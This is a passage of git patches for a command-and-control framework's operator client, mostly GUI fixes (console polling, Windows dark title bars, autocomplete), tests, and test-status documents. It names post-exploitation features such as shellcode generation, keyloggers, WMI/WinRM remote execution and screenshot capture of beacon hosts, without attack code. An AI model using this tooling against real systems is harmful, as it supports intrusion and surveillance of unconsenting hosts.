self.tabs.currentChanged.connect(self.updateConsolePolling) + self.updateConsolePolling(self.tabs.currentIndex()) def createConsolePage(self, child): tab = QWidget() @@ -891,6 +893,21 @@ def protectSystemTabs(self): for index in range(min(SYSTEM_TAB_COUNT, self.tabs.count())): tabBar.setTabButton(index, QTabBar.ButtonPosition.LeftSide, None) tabBar.setTabButton(index, QTabBar.ButtonPosition.RightSide, None) + + def consoleFromTab(self, index): + page = self.tabs.widget(index) + if page is None or page.layout() is None or page.layout().count() == 0: + return None + child = page.layout().itemAt(0).widget() + if isinstance(child, Console): + return child + return None + + def updateConsolePolling(self, currentIndex): + for index in range(self.tabs.count()): + console = self.consoleFromTab(index) + if console is not None: + console.setResponsePollingActive(index == currentIndex) def addConsole(self, beaconHash, listenerHash, hostname, username): tabAlreadyOpen=False @@ -1000,6 +1017,7 @@ def __init__(self, parent, grpcClient, beaconHash, listenerHash, hostname, usern ) self.layout.addWidget(self.commandEditor, 0) self.commandEditor.returnPressed.connect(self.runCommand) + self.responsePollingActive = True # Thread to get sessions response # https://realpython.com/python-pyqt-qthread/ @@ -1033,6 +1051,9 @@ def setConsoleNotice(self, message, is_error=False): color = CONSOLE_COLORS["error"] if is_error else CONSOLE_COLORS["muted"] self.consoleNoticeLabel.setStyleSheet(f"color: {color};") + def setResponsePollingActive(self, active): + self.responsePollingActive = bool(active) + def findNextSearchMatch(self, backward=False): search_text = self.searchInput.text().strip() if search_text == "": @@ -1345,6 +1366,8 @@ def executeCommand(self, commandLine): self.setCursorEditorAtEnd() def displayResponse(self): + if not self.responsePollingActive: + return session = TeamServerApi_pb2.SessionSelector(beacon_hash=self.beaconHash, listener_hash=self.listenerHash) responses = self.grpcClient.streamSessionCommandResults(session) for response in responses: @@ -1419,7 +1442,6 @@ def __init__( parent, completion_data=completion_provider.build(force=True), completion_provider=completion_provider.build, - refresh_on_focus=True, ) self.cmdHistory: list[str] = [] diff --git a/C2Client/C2Client/GUI.py b/C2Client/C2Client/GUI.py index 68158da..509119b 100644 --- a/C2Client/C2Client/GUI.py +++ b/C2Client/C2Client/GUI.py @@ -39,6 +39,7 @@ format_last_error, format_last_rpc, ) +from .window_chrome import apply_dark_window_chrome import qdarktheme @@ -69,6 +70,7 @@ def __init__(self, parent: Optional[QWidget] = None, default_username: str = "") super().__init__(parent) self.setWindowTitle("Login") self.setModal(True) + apply_dark_window_chrome(self) layout = QVBoxLayout(self) description = QLabel("Login:") @@ -107,6 +109,10 @@ def _handle_accept(self) -> None: def credentials(self) -> Tuple[str, str]: return self.username_input.text().strip(), self.password_input.text() + def showEvent(self, event) -> None: + super().showEvent(event) + apply_dark_window_chrome(self) + class App(QMainWindow): """Main application window for the C2 client.""" @@ -146,6 +152,7 @@ def __init__(self, ip: str, port: int, devMode: bool, credentials: Optional[Tupl self.setWindowTitle(self.title) self.setGeometry(self.left, self.top, self.width, self.height) apply_main_window_style(self) + apply_dark_window_chrome(self) self.rpcStatusEvents = RpcStatusEvents(self) self.rpcStatusEvents.rpcStatus.connect(self.updateRpcStatus) @@ -271,6 +278,10 @@ def __del__(self) -> None: if hasattr(self, 'consoleWidget'): self.consoleWidget.script.mainScriptMethod("stop", "", "", "") + def showEvent(self, event) -> None: + super().showEvent(event) + apply_dark_window_chrome(self) + def build_arg_parser() -> argparse.ArgumentParser: """Build the CLI parser using environment-backed defaults.""" diff --git a/C2Client/C2Client/ListenerPanel.py b/C2Client/C2Client/ListenerPanel.py index 6c25cff..dd27237 100644 --- a/C2Client/C2Client/ListenerPanel.py +++ b/C2Client/C2Client/ListenerPanel.py @@ -28,6 +28,7 @@ from .grpc_status import is_response_ok, operation_ack_text from .panel_style import apply_dark_panel_style from .ui_status import apply_error, apply_status, clear_status, format_action_status, status_kind_for_ok +from .window_chrome import apply_dark_window_chrome logger = logging.getLogger(__name__) @@ -570,6 +571,7 @@ class CreateListner(QWidget): def __init__(self, existingListenersProvider=None): super().__init__() self.existingListenersProvider = existingListenersProvider or (lambda: []) + apply_dark_panel_style(self) layout = QFormLayout() layout.setContentsMargins(12, 12, 12, 12) @@ -616,12 +618,17 @@ def __init__(self, existingListenersProvider=None): self.setLayout(layout) self.setWindowTitle(AddListenerWindowTitle) self.setMinimumWidth(360) + apply_dark_window_chrome(self) self.param1.textChanged.connect(self.updateFormState) self.param2.textChanged.connect(self.updateFormState) self.param1.returnPressed.connect(self.checkAndSend) self.param2.returnPressed.connect(self.checkAndSend) self.changeLabels() + def showEvent(self, event): + super().showEvent(event) + apply_dark_window_chrome(self) + def setExistingListenersProvider(self, existingListenersProvider): self.existingListenersProvider = existingListenersProvider or (lambda: []) self.updateFormState() diff --git a/C2Client/C2Client/TerminalPanel.py b/C2Client/C2Client/TerminalPanel.py index 2e02772..4e0a275 100644 --- a/C2Client/C2Client/TerminalPanel.py +++ b/C2Client/C2Client/TerminalPanel.py @@ -1553,7 +1553,6 @@ def __init__(self, parent=None, grpcClient=None): super().__init__( parent, completion_data=build_terminal_completer_data(grpcClient), - refresh_on_focus=True, ) self.grpcClient = grpcClient self._completionProvider = self.loadCompletionData diff --git a/C2Client/C2Client/autocomplete.py b/C2Client/C2Client/autocomplete.py index f8190f7..450758a 100644 --- a/C2Client/C2Client/autocomplete.py +++ b/C2Client/C2Client/autocomplete.py @@ -324,12 +324,14 @@ def moveSelection(self, step: int) -> None: def nextCompletion(self) -> None: if not self.dropdown.isVisible(): + self.refreshCompletions() self.showCompletionPopup(allowEmpty=True, descendExact=True) return self.moveSelection(1) def previousCompletion(self) -> None: if not self.dropdown.isVisible(): + self.refreshCompletions() if self.showCompletionPopup(allowEmpty=True, descendExact=True): self.moveSelection(-1) return diff --git a/C2Client/C2Client/window_chrome.py b/C2Client/C2Client/window_chrome.py new file mode 100644 index 0000000..960288d --- /dev/null +++ b/C2Client/C2Client/window_chrome.py @@ -0,0 +1,79 @@ +from __future__ import annotations + +import ctypes +import logging +import sys + +from .console_style import CONSOLE_COLORS + + +logger = logging.getLogger(__name__) + +DWMWA_USE_IMMERSIVE_DARK_MODE = (20, 19) +DWMWA_BORDER_COLOR = 34 +DWMWA_CAPTION_COLOR = 35 +DWMWA_TEXT_COLOR = 36 + + +def colorref_from_hex(hex_color: str) -> int: + """Convert #RRGGBB to Windows COLORREF 0x00bbggrr.""" + + value = str(hex_color or "").strip().lstrip("#") + if len(value) != 6: + raise ValueError(f"Invalid color: {hex_color!r}") + red = int(value[0:2], 16) + green = int(value[2:4], 16) + blue = int(value[4:6], 16) + return red | (green << 8) | (blue << 16) + + +def _set_dwm_attribute(hwnd: int, attribute: int, value: int, c_type) -> bool: + data = c_type(value) + result = ctypes.windll.dwmapi.DwmSetWindowAttribute( + ctypes.c_void_p(hwnd), + ctypes.c_uint(attribute), + ctypes.byref(data), + ctypes.sizeof(data), + ) + return result == 0 + + +def apply_dark_window_chrome(widget) -> bool: + """Request dark native Windows titlebar and border colors. + + Qt stylesheets only affect client-area widgets. The titlebar and outer + window frame are owned by the OS, so this is intentionally a Windows-only + no-op on other platforms. + """ + + if sys.platform != "win32": + return False + + try: + hwnd = int(widget.winId()) + dark_mode_applied = any( + _set_dwm_attribute(hwnd, attribute, 1, ctypes.c_int) + for attribute in DWMWA_USE_IMMERSIVE_DARK_MODE + ) + border_applied = _set_dwm_attribute( + hwnd, + DWMWA_BORDER_COLOR, + colorref_from_hex(CONSOLE_COLORS["border"]), + ctypes.c_uint, + ) + caption_applied = _set_dwm_attribute( + hwnd, + DWMWA_CAPTION_COLOR, + colorref_from_hex(CONSOLE_COLORS["background"]), + ctypes.c_uint, + ) + text_applied = _set_dwm_attribute( + hwnd, + DWMWA_TEXT_COLOR, + colorref_from_hex(CONSOLE_COLORS["header"]), + ctypes.c_uint, + ) + return dark_mode_applied or border_applied or caption_applied or text_applied + except Exception: + logger.debug("Failed to apply Windows dark chrome", exc_info=True) + return False diff --git a/C2Client/tests/test_console_panel.py b/C2Client/tests/test_console_panel.py index b634e18..e4bd592 100644 --- a/C2Client/tests/test_console_panel.py +++ b/C2Client/tests/test_console_panel.py @@ -1,6 +1,7 @@ import os from types import SimpleNamespace +from PyQt6.QtCore import pyqtSignal from PyQt6.QtWidgets import QWidget import C2Client.grpcClient as grpc_client_module @@ -12,6 +13,7 @@ Console, ConsolesTab, DOTNET_LOAD_NAME_PLACEHOLDER, + SYSTEM_TAB_COUNT, _load_artifacts_for_arg, build_completer_data, console_completion_options, @@ -59,6 +61,12 @@ class DummyPanel(QWidget): def __init__(self, parent=None, *_args, **_kwargs): super().__init__(parent) + def consoleScriptMethod(self, *args, **kwargs): + pass + + def consoleAssistantMethod(self, *args, **kwargs): + pass + def test_command_history_and_logging(tmp_path, qtbot, monkeypatch): monkeypatch.chdir(tmp_path) @@ -332,6 +340,51 @@ def test_consoles_tab_uses_dark_flush_pages(qtbot, monkeypatch): assert page.layout().spacing() == 0 +def test_consoles_tab_polls_only_active_beacon_console(qtbot, monkeypatch): + class FakeConsole(QWidget): + consoleScriptSignal = pyqtSignal(str, str, str, str, str, str, str) + instances = [] + + def __init__(self, parent, grpcClient, beaconHash, listenerHash, hostname, username): + super().__init__(parent) + self.beaconHash = beaconHash + self.pollingActive = None + self.pollingStates = [] + FakeConsole.instances.append(self) + + def setResponsePollingActive(self, active): + self.pollingActive = active + self.pollingStates.append(active) + + monkeypatch.setattr('C2Client.ConsolePanel.Terminal', DummyPanel) + monkeypatch.setattr('C2Client.ConsolePanel.Script', DummyPanel) + monkeypatch.setattr('C2Client.ConsolePanel.Artifacts', DummyPanel) + monkeypatch.setattr('C2Client.ConsolePanel.Commands', DummyPanel) + monkeypatch.setattr('C2Client.ConsolePanel.Assistant', DummyPanel) + monkeypatch.setattr('C2Client.ConsolePanel.Console', FakeConsole) + + parent = QWidget() + consoles = ConsolesTab(parent, StubGrpc()) + qtbot.addWidget(consoles) + + consoles.addConsole("beacon-1", "listener", "host", "user") + first = FakeConsole.instances[0] + assert first.pollingActive is True + + consoles.addConsole("beacon-2", "listener", "host", "user") + second = FakeConsole.instances[1] + assert first.pollingActive is False + assert second.pollingActive is True + + consoles.tabs.setCurrentIndex(SYSTEM_TAB_COUNT) + assert first.pollingActive is True + assert second.pollingActive is False + + consoles.tabs.setCurrentIndex(0) + assert first.pollingActive is False + assert second.pollingActive is False + + def _completion_children(entries, text): return next(children for entry_text, children in entries if entry_text == text) @@ -897,6 +950,8 @@ def listCommands(self, query=None): editor.show() editor.setFocus() + assert editor._refreshOnFocus is False + editor.nextCompletion() assert editor.dropdown.isVisible() assert editor.dropdown.currentRow() == 0 diff --git a/C2Client/tests/test_terminal_panel_dropper_arch.py b/C2Client/tests/test_terminal_panel_dropper_arch.py index 2e18ac8..e09222f 100644 --- a/C2Client/tests/test_terminal_panel_dropper_arch.py +++ b/C2Client/tests/test_terminal_panel_dropper_arch.py @@ -349,6 +349,8 @@ def test_terminal_command_editor_tab_cycles_without_static_completer_reset(tmp_p editor.show() editor.setFocus() + assert editor._refreshOnFocus is False + editor.nextCompletion() assert editor.dropdown.isVisible() assert editor.dropdown.currentRow() == 0 diff --git a/C2Client/tests/test_window_chrome.py b/C2Client/tests/test_window_chrome.py new file mode 100644 index 0000000..e0b1333 --- /dev/null +++ b/C2Client/tests/test_window_chrome.py @@ -0,0 +1,23 @@ +import pytest + +from C2Client import window_chrome + + +def test_colorref_from_hex_converts_rgb_to_windows_colorref(): + assert window_chrome.colorref_from_hex("#0b1117") == 0x0017110B + assert window_chrome.colorref_from_hex("263241") == 0x00413226 + + +def test_colorref_from_hex_rejects_invalid_values(): + with pytest.raises(ValueError): + window_chrome.colorref_from_hex("#123") + + +def test_apply_dark_window_chrome_is_noop_off_windows(monkeypatch): + class Widget: + def winId(self): + raise AssertionError("winId should not be requested off Windows") + + monkeypatch.setattr(window_chrome.sys, "platform", "linux") + + assert window_chrome.apply_dark_window_chrome(Widget()) is False diff --git a/docs/TEST_GAPS.md b/docs/TEST_GAPS.md index aa71459..c683603 100644 --- a/docs/TEST_GAPS.md +++ b/docs/TEST_GAPS.md @@ -18,15 +18,11 @@ _Generated by `scripts/generate-test-state.py`._ | blocked | medium | `MODULE-SSHEXEC-CONTRACT-001` | Modules | sshExec | Validate SSH execution parameters and execute a controlled remote command when lab target exists. | pass | blocked | | blocked | medium | `MODULE-WINRM-CONTRACT-001` | Modules | winRm | Validate WinRM execution parameters and execute a controlled remote command when lab target exists. | pass | blocked | | blocked | medium | `MODULE-WMIEXEC-CONTRACT-001` | Modules | wmiExec | Validate WMI execution parameters and execute a controlled remote command when lab target exists. | pass | blocked | -| partial | critical | `ARTIFACT-TOOLS-001` | Artifacts | Tools | Resolve Tools// and Tools/Any/any for module preparers and terminal upload. | pass | untested | | partial | high | `C2CLIENT-CONFIG-CERT-001` | C2Client | TLS certificate config | Use C2_CERT_PATH when set and report a clear error when the certificate is missing. | pass | untested | -| partial | high | `C2CLIENT-CONSOLE-HELP-001` | C2Client | Beacon command help | Render help from TeamServer CommandSpec without legacy << or >> markers. | pass | untested | | partial | high | `LISTENER-SMB-001` | Listeners | SMB listener | Start SMB listener and route task/result traffic through named pipe transport. | untested | pass | | partial | high | `LISTENER-TCP-001` | Listeners | TCP listener | Start TCP listener and route task/result traffic. | untested | pass | | partial | high | `TEAMSERVER-LISTENER-ARTIFACT-SERVICE-001` | TeamServer | Listener artifact service | Resolve beacon binaries by target OS and arch for droppers and terminal operations. | pass | untested | | partial | high | `TEAMSERVER-SHELLCODE-SERVICE-001` | TeamServer | Shellcode service | Generate shellcode artifacts from supported sources and expose generic generator metadata. | pass | untested | -| partial | medium | `C2CLIENT-MAIN-THEME-001` | C2Client | Main layout theme | Use consistent dark background across main layout, sessions, listeners, graph, consoles, and hooks. | pass | untested | -| untested | critical | `RELEASE-LINUX-ARTIFACTS-001` | Release | Linux release artifacts | Build/release output contains LinuxBeacons/, LinuxModules/, Tools/Linux/, Scripts/Linux, and CommandSpecs. | n/a | untested | | untested | medium | `LISTENER-DNS-001` | Listeners | DNS listener | Start DNS listener and route task/result traffic within DNS transport limits. | untested | untested | | planned | medium | `C2CLIENT-TERMINAL-CREDENTIALS-001` | C2Client | Credential store terminal commands | Add, list, and retrieve credentials through terminal commands. | n/a | n/a | | planned | medium | `MODULE-KEYLOGGER-GENERATED-ARTIFACT-002` | Modules | keyLogger generated artifact | Persist keylogger follow-up output incrementally into GeneratedArtifacts/keylogger with host/timestamp naming. | n/a | n/a | diff --git a/docs/TEST_MATRIX.md b/docs/TEST_MATRIX.md index ec7ee2d..cec11d7 100644 --- a/docs/TEST_MATRIX.md +++ b/docs/TEST_MATRIX.md @@ -7,7 +7,7 @@ _Generated by `scripts/generate-test-state.py`._ | pass | auto+manual | critical | `ARTIFACT-GENERATED-001` | Artifacts | GeneratedArtifacts | teamserver | any | n/a | generated | pass | pass | | pass | auto+manual | critical | `ARTIFACT-LAYOUT-001` | Artifacts | Release data layout | teamserver | any | n/a | any | pass | pass | | pass | auto+manual | high | `ARTIFACT-SCRIPTS-001` | Artifacts | Scripts | teamserver | any | n/a | scripts | pass | pass | -| partial | auto+manual | critical | `ARTIFACT-TOOLS-001` | Artifacts | Tools | teamserver | any | n/a | tools | pass | untested | +| pass | auto+manual | critical | `ARTIFACT-TOOLS-001` | Artifacts | Tools | teamserver | any | n/a | tools | pass | pass | | pass | auto+manual | high | `ARTIFACT-UPLOADED-001` | Artifacts | UploadedArtifacts | teamserver | any | n/a | uploaded | pass | pass | | pass | auto+manual | critical | `BEACON-CORE-CHUNKED-RESULTS-001` | Beacon | Chunked command results | any | any | any | generated | pass | pass | | pass | auto+manual | critical | `BEACON-CORE-HEARTBEAT-001` | Beacon | Heartbeat and state | any | any | any | n/a | pass | pass | @@ -18,7 +18,7 @@ _Generated by `scripts/generate-test-state.py`._ | pass | auto+manual | high | `C2CLIENT-ARTIFACTS-DOWNLOAD-001` | C2Client | Artifact download | client | n/a | n/a | generated | pass | pass | | pass | auto+manual | high | `C2CLIENT-ARTIFACTS-UPLOAD-001` | C2Client | Artifact upload | client | any | n/a | uploaded | pass | pass | | pass | auto+manual | critical | `C2CLIENT-ARTIFACTS-LIST-001` | C2Client | Artifacts tab | client | n/a | n/a | any | pass | pass | -| partial | auto+manual | high | `C2CLIENT-CONSOLE-HELP-001` | C2Client | Beacon command help | client | n/a | any | command_specs | pass | untested | +| pass | auto+manual | high | `C2CLIENT-CONSOLE-HELP-001` | C2Client | Beacon command help | client | n/a | any | command_specs | pass | pass | | pass | auto+manual | critical | `C2CLIENT-CONSOLE-AUTOCOMPLETE-001` | C2Client | Beacon console autocomplete | client | n/a | any | command_specs | pass | pass | | pass | auto | critical | `C2CLIENT-CONFIG-ENV-001` | C2Client | Config loading | client | n/a | n/a | n/a | pass | n/a | | pass | auto+manual | high | `C2CLIENT-CONSOLE-FORMATTING-001` | C2Client | Console formatting | client | n/a | any | n/a | pass | pass | @@ -29,7 +29,7 @@ _Generated by `scripts/generate-test-state.py`._ | pass | auto+manual | medium | `C2CLIENT-GRAPH-PANEL-001` | C2Client | Graph panel | client | n/a | any | n/a | pass | pass | | pass | auto+manual | high | `C2CLIENT-HOOKS-PANEL-001` | C2Client | Hooks panel | client | n/a | any | scripts | pass | pass | | pass | auto+manual | high | `C2CLIENT-LISTENER-PANEL-001` | C2Client | Listener panel | client | n/a | any | n/a | pass | pass | -| partial | auto+manual | medium | `C2CLIENT-MAIN-THEME-001` | C2Client | Main layout theme | client | n/a | n/a | n/a | pass | untested | +| pass | auto+manual | medium | `C2CLIENT-MAIN-THEME-001` | C2Client | Main layout theme | client | n/a | n/a | n/a | pass | pass | | pass | auto | critical | `C2CLIENT-RPC-BINDINGS-001` | C2Client | Protocol bindings | client | n/a | n/a | n/a | pass | n/a | | pass | auto+manual | high | `C2CLIENT-SESSION-PANEL-001` | C2Client | Sessions panel | client | n/a | any | n/a | pass | pass | | partial | auto+manual | high | `C2CLIENT-CONFIG-CERT-001` | C2Client | TLS certificate config | client | n/a | https | n/a | pass | untested | @@ -100,7 +100,7 @@ _Generated by `scripts/generate-test-state.py`._ | pass | auto+manual | medium | `MODULE-WHOAMI-CONTRACT-001` | Modules | whoami | any | any | https | n/a | pass | pass | | blocked | auto+manual | medium | `MODULE-WINRM-CONTRACT-001` | Modules | winRm | windows | x64 | https | n/a | pass | blocked | | blocked | auto+manual | medium | `MODULE-WMIEXEC-CONTRACT-001` | Modules | wmiExec | windows | x64 | https | n/a | pass | blocked | -| untested | manual | critical | `RELEASE-LINUX-ARTIFACTS-001` | Release | Linux release artifacts | linux | any | n/a | any | n/a | untested | +| pass | manual | critical | `RELEASE-LINUX-ARTIFACTS-001` | Release | Linux release artifacts | linux | any | n/a | any | n/a | pass | | blocked | manual | critical | `RELEASE-WINDOWS-ARTIFACTS-001` | Release | Windows release artifacts | windows | any | n/a | any | n/a | blocked | | pass | auto+manual | critical | `TEAMSERVER-ARTIFACT-CATALOG-001` | TeamServer | Artifact catalog | teamserver | any | n/a | any | pass | pass | | pass | auto | critical | `TEAMSERVER-COMMAND-CATALOG-001` | TeamServer | Command catalog | teamserver | n/a | n/a | command_specs | pass | n/a | diff --git a/docs/TEST_STATE.md b/docs/TEST_STATE.md index c5a8801..0c1aa8e 100644 --- a/docs/TEST_STATE.md +++ b/docs/TEST_STATE.md @@ -10,11 +10,11 @@ _Generated by `scripts/generate-test-state.py`._ | Status | Count | |---|---:| -| pass | 88 | +| pass | 92 | | fail | 0 | | blocked | 14 | -| partial | 8 | -| untested | 2 | +| partial | 5 | +| untested | 1 | | planned | 2 | ## Validation Modes @@ -30,13 +30,13 @@ _Generated by `scripts/generate-test-state.py`._ | Area | Pass | Fail | Blocked | Partial | Untested | Planned | Total | |---|---:|---:|---:|---:|---:|---:|---:| -| Artifacts | 4 | 0 | 0 | 1 | 0 | 0 | 5 | +| Artifacts | 5 | 0 | 0 | 0 | 0 | 0 | 5 | | Beacon | 5 | 0 | 0 | 0 | 0 | 0 | 5 | -| C2Client | 17 | 0 | 0 | 3 | 0 | 1 | 21 | +| C2Client | 19 | 0 | 0 | 1 | 0 | 1 | 21 | | CommonCommands | 7 | 0 | 0 | 0 | 0 | 0 | 7 | | Listeners | 2 | 0 | 1 | 2 | 1 | 0 | 6 | | Modules | 39 | 0 | 12 | 0 | 0 | 1 | 52 | -| Release | 0 | 0 | 1 | 0 | 1 | 0 | 2 | +| Release | 1 | 0 | 1 | 0 | 0 | 0 | 2 | | TeamServer | 11 | 0 | 0 | 2 | 0 | 0 | 13 | | Validation | 3 | 0 | 0 | 0 | 0 | 0 | 3 | @@ -45,5 +45,3 @@ _Generated by `scripts/generate-test-state.py`._ | Final | ID | Area | Feature | Auto | Manual | |---|---|---|---|---|---| | blocked | `RELEASE-WINDOWS-ARTIFACTS-001` | Release | Windows release artifacts | n/a | blocked | -| partial | `ARTIFACT-TOOLS-001` | Artifacts | Tools | pass | untested | -| untested | `RELEASE-LINUX-ARTIFACTS-001` | Release | Linux release artifacts | n/a | untested | diff --git a/docs/testing/manual-results.yaml b/docs/testing/manual-results.yaml index 6bc8c7e..e12d399 100644 --- a/docs/testing/manual-results.yaml +++ b/docs/testing/manual-results.yaml @@ -800,3 +800,35 @@ results: tester: "max" evidence: "Manual UI validation confirmed the Graph panel separates listeners/sessions/pivots by default, Auto redistributes nodes, Fit recenters, +/- zoom works, manual positions remain stable after refresh, the redundant Graph frame is absent, dark theme is consistent, and labels/tooltips are readable." notes: "Validated during UI stabilization after graph layout, zoom, and theme polish." + + - id: C2CLIENT-MAIN-THEME-001 + status: pass + date: "2026-05-10" + build: "local-dev" + tester: "max" + evidence: "Manual UI validation confirmed the main window, sessions, listeners, graph, terminal/consoles, hooks, Data AI, Add Listener dialog, and native Windows window chrome are visually harmonized with the dark theme." + notes: "Validated after applying the shared dark panel style to remaining panels and DWM dark chrome on Windows." + + - id: ARTIFACT-TOOLS-001 + status: pass + date: "2026-05-10" + build: "local-dev" + tester: "max" + evidence: "Manual validation confirmed Tools artifacts are visible in the Artifacts tab, filters by platform/arch behave correctly, downloads work from the tab, compatible tools are proposed by autocomplete, and tool-backed commands can consume the selected artifacts." + notes: "Closes the critical Tools artifact gap after the artifact catalog and CommandSpec autocomplete stabilization." + + - id: RELEASE-LINUX-ARTIFACTS-001 + status: pass + date: "2026-05-10" + build: "local-dev" + tester: "max" + evidence: "Manual validation after a clean Linux build/release confirmed LinuxBeacons/, LinuxModules/, Tools/Linux/, Scripts/Linux, and CommandSpecs are present in the expected release layout. Artifacts filters show the Linux x64 entries correctly, and a short Linux beacon golden path with listModule/loadModule/cd/ls/upload/download works." + notes: "Closes the last non-blocked critical release artifact gap for the Linux side." + + - id: C2CLIENT-CONSOLE-HELP-001 + status: pass + date: "2026-05-10" + build: "local-dev" + tester: "max" + evidence: "Manual beacon console validation confirmed help output for help, sleep, assemblyExec, inject, upload, download, and listModule renders from CommandSpecs with clear usage, readable arguments, coherent examples, and no legacy << or >> markers." + notes: "Validated after the CommandSpec help migration and console formatting cleanup." From 2cc73a91f4b49ad94b5a672b3e01b5b28d683f4d Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Sun, 10 May 2026 14:14:05 +0200 Subject: [PATCH 75/82] Maj secu --- C2Client/pyproject.toml | 2 +- C2Client/requirements.txt | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/C2Client/pyproject.toml b/C2Client/pyproject.toml index 6d450bd..559503f 100644 --- a/C2Client/pyproject.toml +++ b/C2Client/pyproject.toml @@ -13,7 +13,7 @@ dependencies = [ "PyQt6==6.7.0", "pyqtdarktheme", "protobuf==6.33.5", - "gitpython==3.1.47", + "gitpython==3.1.50", "requests==2.33.0", "pwn==1.0", "pefile==2024.8.26", diff --git a/C2Client/requirements.txt b/C2Client/requirements.txt index de8e574..faa7f35 100644 --- a/C2Client/requirements.txt +++ b/C2Client/requirements.txt @@ -3,7 +3,7 @@ grpcio==1.78.0 PyQt6==6.7.0 pyqtdarktheme protobuf==6.33.5 -gitpython==3.1.47 +gitpython==3.1.50 requests==2.33.0 pwn==1.0 pefile==2024.8.26 From c2a410399d837dcc90768e559bc7ce27c8627f45 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Sun, 10 May 2026 15:05:36 +0200 Subject: [PATCH 76/82] ScreenShot png --- .../tools/schemas/screenShot.json | 4 +-- C2Client/TODO.md | 6 ++--- core | 2 +- docs/testing/test-catalog.yaml | 4 +-- ...eamServerModuleArtifactCommandPreparer.cpp | 26 ++++++++++++++++--- ...amServerCommandPreparationServiceTests.cpp | 13 ++++++++-- .../TeamServerListenerSessionServiceTests.cpp | 8 +++--- 7 files changed, 46 insertions(+), 17 deletions(-) diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/screenShot.json b/C2Client/C2Client/assistant_agent/tools/schemas/screenShot.json index e21a316..12f26c7 100644 --- a/C2Client/C2Client/assistant_agent/tools/schemas/screenShot.json +++ b/C2Client/C2Client/assistant_agent/tools/schemas/screenShot.json @@ -1,6 +1,6 @@ { "name": "screenShot", - "description": "Capture a screenshot from the beacon host and store it as a generated TeamServer artifact.", + "description": "Capture a screenshot from the beacon host and store it as a generated PNG TeamServer artifact.", "command_template": "screenShot {artifact_name:q?}", "parameters": { "type": "object", @@ -15,7 +15,7 @@ }, "artifact_name": { "type": "string", - "description": "Optional generated artifact filename hint.", + "description": "Optional generated PNG artifact filename hint. Omit the extension or use .png.", "default": "" } }, diff --git a/C2Client/TODO.md b/C2Client/TODO.md index 777cd11..39ab308 100644 --- a/C2Client/TODO.md +++ b/C2Client/TODO.md @@ -14,14 +14,14 @@ Objectif: rendre le client plus agreable pour un operateur, puis enrichir propre | 6 | [x] | Ajouter copie rapide des IDs et infos session | S | Moyen | Copie beacon hash, listener hash, host, user, internal IP depuis tables et graph. | | 7 | [x] | Ameliorer les messages d'erreur et d'etat | S | Fort | Fait. Helper UI commun pour success/error/info, prefixe action, compactage des messages longs, barre RPC, statuts panels et theme sombre harmonises. | | 8 | [x] | Nettoyer le bruit console/debug | S | Moyen | Fait. Logging par defaut en WARNING, `print()` UI remplaces, erreurs de scripts visibles dans l'onglet Script sans casser l'UI. | -| 9 | [ ] | Ajouter filtres, recherche et tri tables | M | Fort | Filtrer sessions/listeners par host, user, OS, privilege, listener, status; tri par last seen et privilege. Client-only au depart. | +| 9 | [-] | Ajouter filtres, recherche et tri tables | M | Fort | Non retenu pour le moment. Les tables actuelles restent volontairement simples pendant la stabilisation. | | 10 | [x] | Humaniser l'etat des sessions | M | Fort | Fait. Etat `Alive/Stale/Killed/Unknown`, last seen relatif, seuil `C2_SESSION_STALE_AFTER_MS=30000`, couleurs discretes et OS complet en tooltip. | | 11 | [x] | Ameliorer la console beacon | M | Fort | Recherche output, clear, export log, pause autoscroll, bouton resend, affichage `queued/done/error` par `command_id`. | | 12 | [x] | Transformer `ScriptPanel` en vrai panneau d'automations | M | Moyen | Fait. Table scripts/hooks, enable/disable, erreurs par script, compteur d'activations, run manuel et hook `ManualStart(context)` avec snapshots sessions/listeners; subtilites de triggers en tooltip. | | 13 | [x] | Ameliorer le formulaire listener | M | Moyen | Fait. Validation port/IP/domain/token avant RPC, defaults par type, aide inline, erreurs inline et bouton Add bloque tant que les champs sont invalides. | -| 14 | [ ] | Ajouter un panneau details session | M | Fort | Vue laterale avec metadata, listeners associes, notes locales, dernieres commandes, boutons d'action contextuels. | +| 14 | [-] | Ajouter un panneau details session | M | Fort | Non retenu pour le moment. Les details session resteront dans la table, les tooltips et la console beacon pendant la stabilisation. | | 15 | [x] | Ameliorer le graph | M | Moyen | Fait. Layout auto qui separe listeners/beacons/pivots, positions manuelles preservees, boutons Auto/Fit/+/- zoom, labels/tooltips, fond sombre et connecteurs recalcules. | -| 16 | [ ] | Reduire la taille des artefacts `screenShot` | M | Moyen | Test reel: `desktop.bmp` genere environ 42 MB. Etudier PNG/JPEG cote module ou conversion TeamServer, option format/qualite, conservation du hash/sidecar et affichage clair dans `Artifacts`. | +| 16 | [x] | Reduire la taille des artefacts `screenShot` | M | Moyen | Fait cote code. Format unique PNG: le module Windows encode en PNG via GDI+ avant chunking, le TeamServer force `format=png`, ajoute `.png` si l'extension est omise et rejette les autres extensions. Specs, tests et catalogue mis a jour. Validation reelle Windows a refaire pour mesurer le gain exact. | | 17 | [x] | Remplacer l'autocomplete Terminal `QCompleter` | M | Fort | Fait. `QCompleter` supprime cote client; Terminal, consoles beacon, Hooks et Assistant utilisent `CompletionInput`, une liste integree au layout avec Tab, Shift+Tab, fleches, Enter et clic. Les placeholders dynamiques console (``, ``) restent geres proprement. | | 18 | [ ] | Auditer `libSocks5` | M | Fort | Revue protocolaire et qualite d'implementation: handshake, `ATYP` supportes, erreurs SOCKS explicites, timeouts, fermeture sockets, concurrence, limites buffers, logs bruyants, tests IPv4/hostname/stress et risques de deadlock/EOF silencieux. | | 19 | [ ] | Generer des formulaires de commandes depuis les schemas assistant | L | Fort | Utiliser `assistant_agent/tools/schemas/*.json` pour proposer des commandes guidees sans tout taper a la main. | diff --git a/core b/core index de8ca4d..5be64c4 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit de8ca4deeb9c08a19caa86073eb08cb104847b00 +Subproject commit 5be64c4c0c18b827582ba356ba09da95c7757103 diff --git a/docs/testing/test-catalog.yaml b/docs/testing/test-catalog.yaml index 71dc3a5..b0ac8b2 100644 --- a/docs/testing/test-catalog.yaml +++ b/docs/testing/test-catalog.yaml @@ -724,13 +724,13 @@ entries: - id: MODULE-SCREENSHOT-CONTRACT-001 area: Modules feature: screenShot - scenario: "Capture desktop BMP, return chunked generated screenshot artifact, and show a single final console result." + scenario: 